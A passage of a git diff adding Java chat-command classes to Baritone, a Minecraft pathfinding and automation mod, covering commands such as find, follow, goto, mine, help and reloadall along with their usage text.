ctx.worldData().getCachedWorld().getLocationsOf( + Registry.BLOCK.getKey(block).getPath(), + Integer.MAX_VALUE, + origin.x, + origin.y, + 4 + ).stream() + ) + .map(BetterBlockPos::new) + .map(this::positionToComponent) + .toArray(ITextComponent[]::new); + if (components.length > 0) { + Arrays.asList(components).forEach(this::logDirect); + } else { + logDirect("No positions known, are you sure the blocks are cached?"); + } + } + + private ITextComponent positionToComponent(BetterBlockPos pos) { + String positionText = String.format("%s %s %s", pos.x, pos.y, pos.z); + String command = String.format("%sgoal %s", FORCE_COMMAND_PREFIX, positionText); + IFormattableTextComponent baseComponent = new StringTextComponent(pos.toString()); + IFormattableTextComponent hoverComponent = new StringTextComponent("Click to set goal to this position"); + baseComponent.setStyle(baseComponent.getStyle() + .setFormatting(TextFormatting.GRAY) + .setInsertion(positionText) + .setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, command)) + .setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, hoverComponent))); + return baseComponent; + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + return new TabCompleteHelper() + .append( + CachedChunk.BLOCKS_TO_KEEP_TRACK_OF.stream() + .map(Registry.BLOCK::getKey) + .map(Object::toString) + ) + .filterPrefixNamespaced(args.getString()) + .sortAlphabetically() + .stream(); + } + + @Override + public String getShortDesc() { + return "Find positions of a certain block"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The find command searches through Baritone's cache and attempts to find the location of the block.", + "Tab completion will suggest only cached blocks and uncached blocks can not be found.", + "", + "Usage:", + "> find [...] - Try finding the listed blocks" + ); + } +} diff --git a/src/baritone/command/defaults/FollowCommand.java b/src/baritone/command/defaults/FollowCommand.java new file mode 100644 index 00000000..8ea599f7 --- /dev/null +++ b/src/baritone/command/defaults/FollowCommand.java @@ -0,0 +1,171 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.KeepName; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.EntityClassById; +import baritone.api.command.datatypes.IDatatypeFor; +import baritone.api.command.datatypes.NearbyPlayer; +import baritone.api.command.exception.CommandErrorMessageException; +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.entity.Entity; +import net.minecraft.entity.EntityType; +import net.minecraft.entity.LivingEntity; +import net.minecraft.entity.player.PlayerEntity; +import net.minecraft.util.ResourceLocation; +import net.minecraft.util.registry.Registry; + +import java.util.*; +import java.util.function.Predicate; +import java.util.stream.Stream; + +public class FollowCommand extends Command { + + public FollowCommand(IBaritone baritone) { + super(baritone, "follow"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMin(1); + FollowGroup group; + FollowList list; + List entities = new ArrayList<>(); + List classes = new ArrayList<>(); + if (args.hasExactlyOne()) { + baritone.getFollowProcess().follow((group = args.getEnum(FollowGroup.class)).filter); + } else { + args.requireMin(2); + group = null; + list = args.getEnum(FollowList.class); + while (args.hasAny()) { + Object gotten = args.getDatatypeFor(list.datatype); + if (gotten instanceof EntityType) { + //noinspection unchecked + classes.add((EntityType) gotten); + } else if (gotten != null) { + entities.add((Entity) gotten); + } + } + + baritone.getFollowProcess().follow( + classes.isEmpty() + ? entities::contains + : e -> classes.stream().anyMatch(c -> e.getType().equals(c)) + ); + } + if (group != null) { + logDirect(String.format("Following all %s", group.name().toLowerCase(Locale.US))); + } else { + if (classes.isEmpty()) { + if (entities.isEmpty()) throw new NoEntitiesException(); + logDirect("Following these entities:"); + entities.stream() + .map(Entity::toString) + .forEach(this::logDirect); + } else { + logDirect("Following these types of entities:"); + classes.stream() + .map(Registry.ENTITY_TYPE::getKey) + .map(Objects::requireNonNull) + .map(ResourceLocation::toString) + .forEach(this::logDirect); + } + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasExactlyOne()) { + return new TabCompleteHelper() + .append(FollowGroup.class) + .append(FollowList.class) + .filterPrefix(args.getString()) + .stream(); + } else { + IDatatypeFor followType; + try { + followType = args.getEnum(FollowList.class).datatype; + } catch (NullPointerException e) { + return Stream.empty(); + } + while (args.has(2)) { + if (args.peekDatatypeOrNull(followType) == null) { + return Stream.empty(); + } + args.get(); + } + return args.tabCompleteDatatype(followType); + } + } + + @Override + public String getShortDesc() { + return "Follow entity things"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The follow command tells Baritone to follow certain kinds of entities.", + "", + "Usage:", + "> follow entities - Follows all entities.", + "> follow entity <...> - Follow certain entities (for example 'skeleton', 'horse' etc.)", + "> follow players - Follow players", + "> follow player <...> - Follow certain players" + ); + } + + @KeepName + private enum FollowGroup { + ENTITIES(LivingEntity.class::isInstance), + PLAYERS(PlayerEntity.class::isInstance); /* , + FRIENDLY(entity -> entity.getAttackTarget() != HELPER.mc.player), + HOSTILE(FRIENDLY.filter.negate()); */ + final Predicate filter; + + FollowGroup(Predicate filter) { + this.filter = filter; + } + } + + @KeepName + private enum FollowList { + ENTITY(EntityClassById.INSTANCE), + PLAYER(NearbyPlayer.INSTANCE); + + final IDatatypeFor datatype; + + FollowList(IDatatypeFor datatype) { + this.datatype = datatype; + } + } + + public static class NoEntitiesException extends CommandErrorMessageException { + + protected NoEntitiesException() { + super("No valid entities in range!"); + } + + } +} diff --git a/src/baritone/command/defaults/ForceCancelCommand.java b/src/baritone/command/defaults/ForceCancelCommand.java new file mode 100644 index 00000000..513d61bc --- /dev/null +++ b/src/baritone/command/defaults/ForceCancelCommand.java @@ -0,0 +1,64 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.behavior.IPathingBehavior; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ForceCancelCommand extends Command { + + public ForceCancelCommand(IBaritone baritone) { + super(baritone, "forcecancel"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + IPathingBehavior pathingBehavior = baritone.getPathingBehavior(); + pathingBehavior.cancelEverything(); + pathingBehavior.forceCancel(); + logDirect("ok force canceled"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Force cancel"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Like cancel, but more forceful.", + "", + "Usage:", + "> forcecancel" + ); + } +} diff --git a/src/baritone/command/defaults/GcCommand.java b/src/baritone/command/defaults/GcCommand.java new file mode 100644 index 00000000..7e4d4fa9 --- /dev/null +++ b/src/baritone/command/defaults/GcCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class GcCommand extends Command { + + public GcCommand(IBaritone baritone) { + super(baritone, "gc"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + System.gc(); + logDirect("ok called System.gc()"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Call System.gc()"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Calls System.gc().", + "", + "Usage:", + "> gc" + ); + } +} diff --git a/src/baritone/command/defaults/GoalCommand.java b/src/baritone/command/defaults/GoalCommand.java new file mode 100644 index 00000000..a174ecad --- /dev/null +++ b/src/baritone/command/defaults/GoalCommand.java @@ -0,0 +1,102 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.RelativeCoordinate; +import baritone.api.command.datatypes.RelativeGoal; +import baritone.api.command.exception.CommandException; +import baritone.api.command.helpers.TabCompleteHelper; +import baritone.api.pathing.goals.Goal; +import baritone.api.process.ICustomGoalProcess; +import baritone.api.utils.BetterBlockPos; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class GoalCommand extends Command { + + public GoalCommand(IBaritone baritone) { + super(baritone, "goal"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + ICustomGoalProcess goalProcess = baritone.getCustomGoalProcess(); + if (args.hasAny() && Arrays.asList("reset", "clear", "none").contains(args.peekString())) { + args.requireMax(1); + if (goalProcess.getGoal() != null) { + goalProcess.setGoal(null); + logDirect("Cleared goal"); + } else { + logDirect("There was no goal to clear"); + } + } else { + args.requireMax(3); + BetterBlockPos origin = ctx.playerFeet(); + Goal goal = args.getDatatypePost(RelativeGoal.INSTANCE, origin); + goalProcess.setGoal(goal); + logDirect(String.format("Goal: %s", goal.toString())); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + TabCompleteHelper helper = new TabCompleteHelper(); + if (args.hasExactlyOne()) { + helper.append("reset", "clear", "none", "~"); + } else { + if (args.hasAtMost(3)) { + while (args.has(2)) { + if (args.peekDatatypeOrNull(RelativeCoordinate.INSTANCE) == null) { + break; + } + args.get(); + if (!args.has(2)) { + helper.append("~"); + } + } + } + } + return helper.filterPrefix(args.getString()).stream(); + } + + @Override + public String getShortDesc() { + return "Set or clear the goal"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The goal command allows you to set or clear Baritone's goal.", + "", + "Wherever a coordinate is expected, you can use ~ just like in regular Minecraft commands. Or, you can just use regular numbers.", + "", + "Usage:", + "> goal - Set the goal to your current position", + "> goal - Erase the goal", + "> goal - Set the goal to a Y level", + "> goal - Set the goal to an X,Z position", + "> goal - Set the goal to an X,Y,Z position" + ); + } +} diff --git a/src/baritone/command/defaults/GotoCommand.java b/src/baritone/command/defaults/GotoCommand.java new file mode 100644 index 00000000..c64d7fa0 --- /dev/null +++ b/src/baritone/command/defaults/GotoCommand.java @@ -0,0 +1,86 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.ForBlockOptionalMeta; +import baritone.api.command.datatypes.RelativeCoordinate; +import baritone.api.command.datatypes.RelativeGoal; +import baritone.api.command.exception.CommandException; +import baritone.api.pathing.goals.Goal; +import baritone.api.utils.BetterBlockPos; +import baritone.api.utils.BlockOptionalMeta; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class GotoCommand extends Command { + + protected GotoCommand(IBaritone baritone) { + super(baritone, "goto"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + // If we have a numeric first argument, then parse arguments as coordinates. + // Note: There is no reason to want to go where you're already at so there + // is no need to handle the case of empty arguments. + if (args.peekDatatypeOrNull(RelativeCoordinate.INSTANCE) != null) { + args.requireMax(3); + BetterBlockPos origin = ctx.playerFeet(); + Goal goal = args.getDatatypePost(RelativeGoal.INSTANCE, origin); + logDirect(String.format("Going to: %s", goal.toString())); + baritone.getCustomGoalProcess().setGoalAndPath(goal); + return; + } + args.requireMax(1); + BlockOptionalMeta destination = args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE); + baritone.getGetToBlockProcess().getToBlock(destination); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + // since it's either a goal or a block, I don't think we can tab complete properly? + // so just tab complete for the block variant + args.requireMax(1); + return args.tabCompleteDatatype(ForBlockOptionalMeta.INSTANCE); + } + + @Override + public String getShortDesc() { + return "Go to a coordinate or block"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The goto command tells Baritone to head towards a given goal or block.", + "", + "Wherever a coordinate is expected, you can use ~ just like in regular Minecraft commands. Or, you can just use regular numbers.", + "", + "Usage:", + "> goto - Go to a block, wherever it is in the world", + "> goto - Go to a Y level", + "> goto - Go to an X,Z position", + "> goto - Go to an X,Y,Z position" + ); + } +} diff --git a/src/baritone/command/defaults/HelpCommand.java b/src/baritone/command/defaults/HelpCommand.java new file mode 100644 index 00000000..9320271c --- /dev/null +++ b/src/baritone/command/defaults/HelpCommand.java @@ -0,0 +1,126 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.ICommand; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandNotFoundException; +import baritone.api.command.helpers.Paginator; +import baritone.api.command.helpers.TabCompleteHelper; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TextComponent; +import net.minecraft.util.text.TextFormatting; +import net.minecraft.util.text.event.ClickEvent; +import net.minecraft.util.text.event.HoverEvent; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Collectors; +import java.util.stream.Stream; + +import static baritone.api.command.IBaritoneChatControl.FORCE_COMMAND_PREFIX; + +public class HelpCommand extends Command { + + public HelpCommand(IBaritone baritone) { + super(baritone, "help", "?"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(1); + if (!args.hasAny() || args.is(Integer.class)) { + Paginator.paginate( + args, new Paginator<>( + this.baritone.getCommandManager().getRegistry().descendingStream() + .filter(command -> !command.hiddenFromHelp()) + .collect(Collectors.toList()) + ), + () -> logDirect("All Baritone commands (clickable):"), + command -> { + String names = String.join("/", command.getNames()); + String name = command.getNames().get(0); + TextComponent shortDescComponent = new StringTextComponent(" - " + command.getShortDesc()); + shortDescComponent.setStyle(shortDescComponent.getStyle().setFormatting(TextFormatting.DARK_GRAY)); + TextComponent namesComponent = new StringTextComponent(names); + namesComponent.setStyle(namesComponent.getStyle().setFormatting(TextFormatting.WHITE)); + TextComponent hoverComponent = new StringTextComponent(""); + hoverComponent.setStyle(hoverComponent.getStyle().setFormatting(TextFormatting.GRAY)); + hoverComponent.append(namesComponent); + hoverComponent.appendString("\n" + command.getShortDesc()); + hoverComponent.appendString("\n\nClick to view full help"); + String clickCommand = FORCE_COMMAND_PREFIX + String.format("%s %s", label, command.getNames().get(0)); + TextComponent component = new StringTextComponent(name); + component.setStyle(component.getStyle().setFormatting(TextFormatting.GRAY)); + component.append(shortDescComponent); + component.setStyle(component.getStyle() + .setHoverEvent(new HoverEvent(HoverEvent.Action.SHOW_TEXT, hoverComponent)) + .setClickEvent(new ClickEvent(ClickEvent.Action.RUN_COMMAND, clickCommand))); + return component; + }, + FORCE_COMMAND_PREFIX + label + ); + } else { + String commandName = args.getString().toLowerCase(); + ICommand command = this.baritone.getCommandManager().getCommand(commandName); + if (command == null) { + throw new CommandNotFoundException(commandName); + } + logDirect(String.format("%s - %s", String.join(" / ", command.getNames()), command.getShortDesc())); + logDirect(""); + command.getLongDesc().forEach(this::logDirect); + logDirect(""); + TextComponent returnComponent = new StringTextComponent("Click to return to the help menu"); + returnComponent.setStyle(returnComponent.getStyle().setClickEvent(new ClickEvent( + ClickEvent.Action.RUN_COMMAND, + FORCE_COMMAND_PREFIX + label + ))); + logDirect(returnComponent); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + if (args.hasExactlyOne()) { + return new TabCompleteHelper() + .addCommands(this.baritone.getCommandManager()) + .filterPrefix(args.getString()) + .stream(); + } + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "View all commands or help on specific ones"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Using this command, you can view detailed help information on how to use certain commands of Baritone.", + "", + "Usage:", + "> help - Lists all commands and their short descriptions.", + "> help - Displays help information on a specific command." + ); + } +} diff --git a/src/baritone/command/defaults/InvertCommand.java b/src/baritone/command/defaults/InvertCommand.java new file mode 100644 index 00000000..e8bdf50d --- /dev/null +++ b/src/baritone/command/defaults/InvertCommand.java @@ -0,0 +1,75 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.pathing.goals.Goal; +import baritone.api.pathing.goals.GoalInverted; +import baritone.api.process.ICustomGoalProcess; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class InvertCommand extends Command { + + public InvertCommand(IBaritone baritone) { + super(baritone, "invert"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + ICustomGoalProcess customGoalProcess = baritone.getCustomGoalProcess(); + Goal goal; + if ((goal = customGoalProcess.getGoal()) == null) { + throw new CommandInvalidStateException("No goal"); + } + if (goal instanceof GoalInverted) { + goal = ((GoalInverted) goal).origin; + } else { + goal = new GoalInverted(goal); + } + customGoalProcess.setGoalAndPath(goal); + logDirect(String.format("Goal: %s", goal.toString())); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Run away from the current goal"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The invert command tells Baritone to head away from the current goal rather than towards it.", + "", + "Usage:", + "> invert - Invert the current goal." + ); + } +} diff --git a/src/baritone/command/defaults/LitematicaCommand.java b/src/baritone/command/defaults/LitematicaCommand.java new file mode 100644 index 00000000..bfe0079b --- /dev/null +++ b/src/baritone/command/defaults/LitematicaCommand.java @@ -0,0 +1,71 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class LitematicaCommand extends Command { + + public LitematicaCommand(IBaritone baritone) { + super(baritone, "litematica"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + int schematic = 0; + if (args.hasAny()) { + args.requireMax(1); + if (args.is(Integer.class)) { + schematic = args.getAs(Integer.class) - 1; + } + } + try { + baritone.getBuilderProcess().buildOpenLitematic(schematic); + } catch (IndexOutOfBoundsException e) { + logDirect("Pleas provide a valid index."); + } + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Builds the loaded schematic"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "Build a schematic currently open in Litematica.", + "", + "Usage:", + "> litematica", + "> litematica <#>" + ); + } +} \ No newline at end of file diff --git a/src/baritone/command/defaults/MineCommand.java b/src/baritone/command/defaults/MineCommand.java new file mode 100644 index 00000000..eb2c22c6 --- /dev/null +++ b/src/baritone/command/defaults/MineCommand.java @@ -0,0 +1,79 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.datatypes.ForBlockOptionalMeta; +import baritone.api.command.exception.CommandException; +import baritone.api.utils.BlockOptionalMeta; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class MineCommand extends Command { + + public MineCommand(IBaritone baritone) { + super(baritone, "mine"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + int quantity = args.getAsOrDefault(Integer.class, 0); + args.requireMin(1); + List boms = new ArrayList<>(); + while (args.hasAny()) { + boms.add(args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE)); + } + BaritoneAPI.getProvider().getWorldScanner().repack(ctx); + logDirect(String.format("Mining %s", boms.toString())); + baritone.getMineProcess().mine(quantity, boms.toArray(new BlockOptionalMeta[0])); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + args.getAsOrDefault(Integer.class, 0); + while (args.has(2)) { + args.getDatatypeFor(ForBlockOptionalMeta.INSTANCE); + } + return args.tabCompleteDatatype(ForBlockOptionalMeta.INSTANCE); + } + + @Override + public String getShortDesc() { + return "Mine some blocks"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The mine command allows you to tell Baritone to search for and mine individual blocks.", + "", + "The specified blocks can be ores, or any other block.", + "", + "Also see the legitMine settings (see #set l legitMine).", + "", + "Usage:", + "> mine diamond_ore - Mines all diamonds it can find." + ); + } +} diff --git a/src/baritone/command/defaults/PathCommand.java b/src/baritone/command/defaults/PathCommand.java new file mode 100644 index 00000000..b2021adf --- /dev/null +++ b/src/baritone/command/defaults/PathCommand.java @@ -0,0 +1,65 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.BaritoneAPI; +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.process.ICustomGoalProcess; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class PathCommand extends Command { + + public PathCommand(IBaritone baritone) { + super(baritone, "path"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + ICustomGoalProcess customGoalProcess = baritone.getCustomGoalProcess(); + args.requireMax(0); + BaritoneAPI.getProvider().getWorldScanner().repack(ctx); + customGoalProcess.path(); + logDirect("Now pathing"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) throws CommandException { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Start heading towards the goal"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The path command tells Baritone to head towards the current goal.", + "", + "Usage:", + "> path - Start the pathing." + ); + } +} diff --git a/src/baritone/command/defaults/ProcCommand.java b/src/baritone/command/defaults/ProcCommand.java new file mode 100644 index 00000000..1652a991 --- /dev/null +++ b/src/baritone/command/defaults/ProcCommand.java @@ -0,0 +1,85 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; +import baritone.api.command.exception.CommandInvalidStateException; +import baritone.api.pathing.calc.IPathingControlManager; +import baritone.api.process.IBaritoneProcess; +import baritone.api.process.PathingCommand; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ProcCommand extends Command { + + public ProcCommand(IBaritone baritone) { + super(baritone, "proc"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + IPathingControlManager pathingControlManager = baritone.getPathingControlManager(); + IBaritoneProcess process = pathingControlManager.mostRecentInControl().orElse(null); + if (process == null) { + throw new CommandInvalidStateException("No process in control"); + } + logDirect(String.format( + "Class: %s\n" + + "Priority: %f\n" + + "Temporary: %b\n" + + "Display name: %s\n" + + "Last command: %s", + process.getClass().getTypeName(), + process.priority(), + process.isTemporary(), + process.displayName(), + pathingControlManager + .mostRecentCommand() + .map(PathingCommand::toString) + .orElse("None") + )); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "View process state information"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The proc command provides miscellaneous information about the process currently controlling Baritone.", + "", + "You are not expected to understand this if you aren't familiar with how Baritone works.", + "", + "Usage:", + "> proc - View process information, if present" + ); + } +} diff --git a/src/baritone/command/defaults/ReloadAllCommand.java b/src/baritone/command/defaults/ReloadAllCommand.java new file mode 100644 index 00000000..39396a9c --- /dev/null +++ b/src/baritone/command/defaults/ReloadAllCommand.java @@ -0,0 +1,61 @@ +/* + * This file is part of Baritone. + * + * Baritone is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * Baritone is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with Baritone. If not, see . + */ + +package baritone.command.defaults; + +import baritone.api.IBaritone; +import baritone.api.command.Command; +import baritone.api.command.argument.IArgConsumer; +import baritone.api.command.exception.CommandException; + +import java.util.Arrays; +import java.util.List; +import java.util.stream.Stream; + +public class ReloadAllCommand extends Command { + + public ReloadAllCommand(IBaritone baritone) { + super(baritone, "reloadall"); + } + + @Override + public void execute(String label, IArgConsumer args) throws CommandException { + args.requireMax(0); + ctx.worldData().getCachedWorld().reloadAllFromDisk(); + logDirect("Reloaded"); + } + + @Override + public Stream tabComplete(String label, IArgConsumer args) { + return Stream.empty(); + } + + @Override + public String getShortDesc() { + return "Reloads Baritone's cache for this world"; + } + + @Override + public List getLongDesc() { + return Arrays.asList( + "The reloadall command reloads Baritone's world cache.", + "", + "Usage:", + "> reloadall" + ); + } +} diff --git a/src/baritone/command/defaults/RenderCommand.java 